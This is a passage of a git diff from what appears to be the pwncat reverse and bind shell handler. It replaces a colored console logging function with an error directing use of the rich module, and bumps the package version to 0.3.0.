LAST_LOG_MESSAGE - global LAST_PROG_ANIM - - return - - prefix = { - "info": f"[{Fore.BLUE}+{Fore.RESET}]", - "success": f"[{Fore.GREEN}+{Fore.RESET}]", - "warn": f"[{Fore.YELLOW}?{Fore.RESET}]", - "error": f"[{Fore.RED}!{Fore.RESET}]", - "prog": f"[{Fore.CYAN}+{Fore.RESET}]", - } - - if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]): - erase_progress() - elif LAST_LOG_MESSAGE[1]: - sys.stdout.write("\n") - - if level == "prog": - LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION) - prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM]) - - LAST_LOG_MESSAGE = ( - f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}", - overlay, - ) - sys.stdout.write(LAST_LOG_MESSAGE[0]) - - if not overlay: - sys.stdout.write("\n") - else: - sys.stdout.flush() + raise RuntimeError("new-logging: please use the rich module for logging") def info(message, overlay=False): diff --git a/setup.py b/setup.py index 4981c53..70aaa0a 100644 --- a/setup.py +++ b/setup.py @@ -30,7 +30,7 @@ dependency_links = [ # Setup setup( name="pwncat", - version="0.2.0", + version="0.3.0", description="A fancy reverse and bind shell handler", author="Caleb Stewart", url="https://gitlab.com/calebstewart/pwncat",